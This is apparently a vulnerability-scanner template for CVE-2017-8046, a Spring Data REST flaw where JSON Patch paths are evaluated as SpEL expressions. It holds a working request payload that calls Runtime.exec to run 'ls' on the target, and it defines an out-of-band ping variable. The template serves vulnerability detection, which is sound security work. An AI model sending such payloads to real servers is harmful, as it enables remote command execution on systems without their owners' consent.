漏洞描述
SpringDataREST是一个构建在SpringData之上,为了帮助开发者更加容易地开发REST风格的Web服务。在RESTAPI的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
id: CVE-2017-8046
info:
name: Spring Data Rest RCE
author: sm
severity: critical
verified: true
description: |
SpringDataREST是一个构建在SpringData之上,为了帮助开发者更加容易地开发REST风格的Web服务。在RESTAPI的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
reference:
- https://tanzu.vmware.com/security/cve-2017-8046
- https://mp.weixin.qq.com/s/q2CNe9sscjlBXVaVUMCGNA
tags: cve,cve2017,spring,rce
created: 2024/02/04
set:
oob: oob()
oobDNS: oob.DNS
spel: decimal("ping " + oobDNS,",")
rules:
r0:
request:
method: PATCH
path: /customers/1
headers:
Content-Type: application/json-patch+json
body: |
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{108,115}))/lastname", "value": "ry" }]
expression: response.status == 400 && response.body.bcontains(b'cause') && response.body.bcontains(b'message')
expression: r0()